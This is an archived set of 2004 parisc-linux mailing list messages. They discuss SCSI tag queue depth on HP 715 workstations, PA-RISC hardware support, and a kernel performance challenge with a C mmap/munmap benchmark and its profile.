Cheers, Steve


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scsi problem on a scorpio (715)
Date: Wed, 7 Jan 2004 19:52:18 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20040108025218.GA20732@colo.lackof.org>
References: <3FFC9A15.6FA66B2@tiscalinet.it>
	<Pine.LNX.4.58.0401072226130.5327@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623112 4372 80.91.229.3 (22 Nov 2014 02:25:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:12 +0000 (UTC)
Cc: Riccardo <rollei@tiscalinet.it>,
	parisc linux <parisc-linux@lists.parisc-linux.org>
To: Steve Bromwich <hppa@fop.ns.ca>
Original-X-From: grundler@lackof.org  Wed Jan  7 19:52:20 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BB924868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 19:52:20 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 7A7F1298039; Wed,  7 Jan 2004 19:52:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 21002-03; Wed, 7 Jan 2004 19:52:18 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C2D27298038; Wed,  7 Jan 2004 19:52:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0401072226130.5327@brain.fop.ns.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 02:52:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20577

On Wed, Jan 07, 2004 at 10:30:30PM -0400, Steve Bromwich wrote:
> Grant Grundler mentioned that "as of 5 years
> ago, HP-UX default was 8 for servers and 2 for workstations";

The drives shipped with workstations had "Write Cache Enable" (aka WCE)
turned on by default.  Not good if you really care about your data.
But Tag queue depth of 2 works great because the drive will immediately
report "success" until it's on-board cache was full.

>  as the 715
> is a workstation it might be worth trying setting tags to 2 and seeing
> what happens?

Unless performance is more important than strict correctness, I still
reccommend tag queue depth of 8 and disable "Write Cache" setting.
Reducing queue depth further typically only limits performance.

I suspect something else is wrong in Riccardo's case. But it wouldn't
hurt disable queue tags completely and see if that is at least stable.

root@debian:~# sginfo -c /dev/sda

Data from Caching Page
----------------------
Write Cache                        0
Read Cache                         1
Prefetch units                     0
Demand Read Retention Priority     0
Demand Write Retention Priority    0
Disable Pre-fetch Transfer Length  65535
Minimum Pre-fetch                  0
Maximum Pre-fetch                  65535
Maximum Pre-fetch Ceiling          65535

hth,
grant


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mike Brice" <mike_brice@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC LINUX (0.9.3 release): Hardware Test on HP J
	workstation (J280)
Date: Wed, 07 Jan 2004 22:06:23 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <BAY2-F36zbAUfKRfcjc0000f6c5@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416623112 4374 80.91.229.3 (22 Nov 2014 02:25:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: mike_brice@hotmail.com  Wed Jan  7 21:06:24 2004
Return-Path: <mike_brice@hotmail.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay2-f36.bay2.hotmail.com [65.54.247.36])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEEDD4868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 21:06:24 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Wed, 7 Jan 2004 20:06:23 -0800
Original-Received: from 199.64.0.252 by by2fd.bay2.hotmail.msn.com with HTTP;
	Thu, 08 Jan 2004 04:06:23 GMT
X-Originating-IP: [199.64.0.252]
X-Originating-Email: [mike_brice@hotmail.com]
X-Sender: mike_brice@hotmail.com
X-OriginalArrivalTime: 08 Jan 2004 04:06:23.0893 (UTC)
	FILETIME=[C7B94C50:01C3D59C]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 04:06:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20578

Please add me to your PA/Linux mailing list.

The PA-RISC LINUX (0.9.3 release) tests work on the HP J workstation 
hardware.  Does it work on the HP J280 workstation? Do you have test 
results?

Thanks,

:-) Mike Brice
Internet: mike_brice@hotmail.com

_________________________________________________________________
Tired of slow downloads? Compare online deals from your local high-speed 
providers now.  https://broadband.msn.com



From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scsi problem on a scorpio (715)
Date: Wed, 7 Jan 2004 23:14:06 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20040108041405.GA2347@systemhalted>
References: <3FFC9A15.6FA66B2@tiscalinet.it>
	<Pine.LNX.4.58.0401072226130.5327@brain.fop.ns.ca>
	<20040108025218.GA20732@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623112 4376 80.91.229.3 (22 Nov 2014 02:25:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:12 +0000 (UTC)
Cc: Riccardo <rollei@tiscalinet.it>,
	parisc linux <parisc-linux@lists.parisc-linux.org>,
	Steve Bromwich <hppa@fop.ns.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: carlos@baldric.uwo.ca  Wed Jan  7 21:22:30 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34BCA4868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 21:22:30 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AeRYc-0000io-00; Wed, 07 Jan 2004 23:14:06 -0500
Content-Disposition: inline
In-Reply-To: <20040108025218.GA20732@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (94% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 04:22:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20579

> On Wed, Jan 07, 2004 at 10:30:30PM -0400, Steve Bromwich wrote:
> Unless performance is more important than strict correctness, I still
> reccommend tag queue depth of 8 and disable "Write Cache" setting.
> Reducing queue depth further typically only limits performance.

My entire cluster was made up of scorpio boxes 715/50's, and I *never*
had them run stably with anything but a tag queue depth of 1.

Grant, I'm pretty sure me and you had this exact conversation like 2
years ago :)

c.



From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scsi problem on a scorpio (715)
Date: Wed, 7 Jan 2004 23:31:57 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200401080431.i084VvaE016766@hiauly1.hia.nrc.ca>
References: <20040108041405.GA2347@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623113 4378 80.91.229.3 (22 Nov 2014 02:25:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:13 +0000 (UTC)
Cc: rollei@tiscalinet.it, grundler@parisc-linux.org,
	parisc-linux@lists.parisc-linux.org, hppa@fop.ns.ca
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jan  7 21:32:01 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 925FA4868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 21:32:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i084VvIc016767; Wed, 7 Jan 2004 23:31:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i084VvaE016766;
	Wed, 7 Jan 2004 23:31:57 -0500 (EST)
In-Reply-To: <20040108041405.GA2347@systemhalted> from "Carlos O'Donell" at
	Jan 7, 2004 11:14:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 04:32:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20580

> My entire cluster was made up of scorpio boxes 715/50's, and I *never*
> had them run stably with anything but a tag queue depth of 1.
> 
> Grant, I'm pretty sure me and you had this exact conversation like 2
> years ago :)

Also, remember the issues that I had under HP-UX 10.20 with some Seagate
Elite drives.  I believe that I had to set the depth to 1 for these
drives to get the system to run reliably.  Tagged queuing is broken
on most old drives.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC LINUX (0.9.3 release): Hardware Test on HP
	J workstation (J280)
Date: Wed, 7 Jan 2004 22:03:54 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20040108050354.GA22317@colo.lackof.org>
References: <BAY2-F36zbAUfKRfcjc0000f6c5@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623113 4379 80.91.229.3 (22 Nov 2014 02:25:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Brice <mike_brice@hotmail.com>
Original-X-From: grundler@lackof.org  Wed Jan  7 22:03:56 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A5CF4868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 22:03:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 87EDD298039; Wed,  7 Jan 2004 22:03:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22133-05; Wed, 7 Jan 2004 22:03:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0389A298038; Wed,  7 Jan 2004 22:03:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <BAY2-F36zbAUfKRfcjc0000f6c5@hotmail.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 05:03:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20581

On Wed, Jan 07, 2004 at 10:06:23PM -0600, Mike Brice wrote:
> Please add me to your PA/Linux mailing list.

See http://lists.parisc-linux.org/

> The PA-RISC LINUX (0.9.3 release) tests work on the HP J workstation 
> hardware.

Don't use 0.9.3 release. See debian.org/ports/hppa.

>   Does it work on the HP J280 workstation? Do you have test results?

See http://www.pateam.org/list.html
(kudos to ESIEE team for putting that together and maintain it)

grant


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scsi problem on a scorpio (715)
Date: Wed, 7 Jan 2004 22:10:27 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20040108051027.GB22317@colo.lackof.org>
References: <3FFC9A15.6FA66B2@tiscalinet.it>
	<Pine.LNX.4.58.0401072226130.5327@brain.fop.ns.ca>
	<20040108025218.GA20732@colo.lackof.org>
	<20040108041405.GA2347@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623113 4382 80.91.229.3 (22 Nov 2014 02:25:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:13 +0000 (UTC)
Cc: Riccardo <rollei@tiscalinet.it>,
	parisc linux <parisc-linux@lists.parisc-linux.org>,
	Steve Bromwich <hppa@fop.ns.ca>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Wed Jan  7 22:10:28 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC6054868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 22:10:28 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2861C298039; Wed,  7 Jan 2004 22:10:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22096-09; Wed, 7 Jan 2004 22:10:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 90A48298038; Wed,  7 Jan 2004 22:10:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040108041405.GA2347@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 05:10:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20582

On Wed, Jan 07, 2004 at 11:14:06PM -0500, Carlos O'Donell wrote:
> My entire cluster was made up of scorpio boxes 715/50's, and I *never*
> had them run stably with anything but a tag queue depth of 1.
> 
> Grant, I'm pretty sure me and you had this exact conversation like 2
> years ago :)

Dude! you *are* good.

Search for "scsi queue tags 715/50" yielded:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-February/015465.html

grant


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Kernel Hacker Challenge #1] Make my loop.c run
	faster, fly higher, and win big!
Date: Thu, 8 Jan 2004 00:42:12 -0500
Lines: 160
Approved: news@gmane.org
Message-ID: <20040108054212.GC2347@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623114 4383 80.91.229.3 (22 Nov 2014 02:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Jan  7 22:50:32 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 283894868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 22:50:32 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AeSvs-0000qI-00 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 08 Jan 2004 00:42:12 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (94% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 05:50:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20583


pa,

============================================
UP PA8700 @650Mhz.
============================================

round 1
...
round 999
round 1000

real    0m1.559s
user    0m0.000s
sys     0m1.430s

Too slow joe! :)

============================================
UP PIII @450MHz
============================================

round 1
...
round 999
round 1000

real    0m0.303s
user    0m0.010s
sys     0m0.090s <- Look at that sys time!

*Fast*

============================================
Why is it so slow on hppa?
============================================

Profile reveals some hints:

   161 total                                      0.0001
    89 flush_user_dcache_range_asm                2.4722
    48 flush_user_icache_range_asm                1.3333
     8 pc_in_user_space                           0.0667
     2 zap_page_range                             0.0016
     2 __muldi3                                   0.0071
     1 syscall_restore                            0.0041
     1 rmqueue                                    0.0007
     1 normal_poll                                0.0020
     1 n_tty_receive_buf                          0.0003
     1 memset                                     0.0054
     1 kmalloc                                    0.0023
     1 get_unused_fd                              0.0021
     1 fget                                       0.0139
     1 fdsync                                     0.0500
     1 do_mmap_pgoff                              0.0006
     1 __down_read_trylock                        0.0208
     1 $lctu_loop                                 0.0833

---
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define BUFLEN 512
#define PAGESIZE 4096
#define PAGEMASK 0x1888

/*
 
 Sample trace of what glibc does during dlopen/dlclose pair ...
   
    968 open("./tst-tlsmod13.so", O_RDONLY)     = 3
    969 read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\10"..., 512) = 512
    970 fstat64(3, {st_mode=0, st_size=4294967297000, ...}) = 0
*NO*971 getcwd("/home/carlos/src/glibc-work/tests/tst-tls13", 128) = 44
    972 mmap(NULL, 69232, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x401b2000
    973 mprotect(0x401b3000, 65136, PROT_NONE)  = 0
    974 mmap(0x401c2000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x401c2000
    975 close(3)                                = 0
*NO*976 munmap(0x401a1000, 69352)               = 0
    977 munmap(0x401b2000, 69232)               = 0

Compile this code with:

	gcc -o loop loop.c

Create the test file with:

	dd if=/dev/zero of=./testdata bs=1024 count=70

*/

int
main (void)
{
  int i;
  char buffer[BUFLEN];
  void * start = NULL;
  int offset = 0;
  void * end = NULL;
  size_t length = 0;
  int filefd;
  void * filemap;
  void * filemap2;
  struct stat statbuf;
  
  for (i = 0; i < 1000;)
    {
      printf ("round %d\n",++i);

      /* File is 70 * 1024 bytes */
      filefd = open("./testdata", O_RDONLY);
      if (filefd == -1) { perror("open"); exit(1); }
      
      /* Read 512 bytes into a buffer... or less */
      length = read(filefd, buffer, BUFLEN);
      if (length == 0) { perror("read"); exit(1); }
       
      /* Find the real size */
      if (fstat(filefd, &statbuf) != 0) { perror("fstat"); exit(1); }
      length = statbuf.st_size;
      
      /* mmap without protection */
      filemap = mmap (start, length, PROT_READ|PROT_EXEC, MAP_PRIVATE, filefd, offset);
      if (filemap == MAP_FAILED) { perror("mmap"); exit (1); }
     
      /* Load in a page of zeros, starting at the next page */
      filemap2 = mmap (start, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC, 
			MAP_PRIVATE|MAP_FIXED, filefd, offset);
      if ( filemap2 == MAP_FAILED ) { perror("mmap2"); exit(1); }
      
      /* Protect everything but the first page */
      start = (void *)(((unsigned int)(filemap) & ~PAGEMASK) + PAGESIZE);
      length = (size_t)((filemap - ((unsigned int)filemap & ~PAGEMASK)) + length - PAGESIZE);
      if (mprotect(start, length, PROT_NONE) != 0) 
        { perror("mprotext"); exit(1); }

      /* Close the file descriptor */
      if (close(filefd) != 0) { perror("close"); exit(1); }

      /* munmap the areas */
      if (munmap(filemap, length) != 0 ) { perror("munmap"); exit(1); }
      if (munmap(filemap2, PAGESIZE) != 0 ) { perror("munmap2"); exit(1); }
      
    }

  return 0;
}
---

The reward goes to the person who make this run the fasteest, as judged
by me :)

c.



From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Thu, 8 Jan 2004 09:06:16 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <3FFB28C900001026__39894.7875750766$1416623114$gmane$org@ocpmta1.freegates.net>
References: <20040105172146.GE23782@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623114 4384 80.91.229.3 (22 Nov 2014 02:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:14 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: soete.joel@tiscali.be  Thu Jan  8 01:06:19 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CA4B4868
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jan 2004 01:06:19 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AeVBJ-0005FY-00; Thu, 08 Jan 2004 09:06:17 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 8 Jan 2004 09:06:16 +0100
In-Reply-To: <20040105172146.GE23782@systemhalted>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 08:06:19 -0000
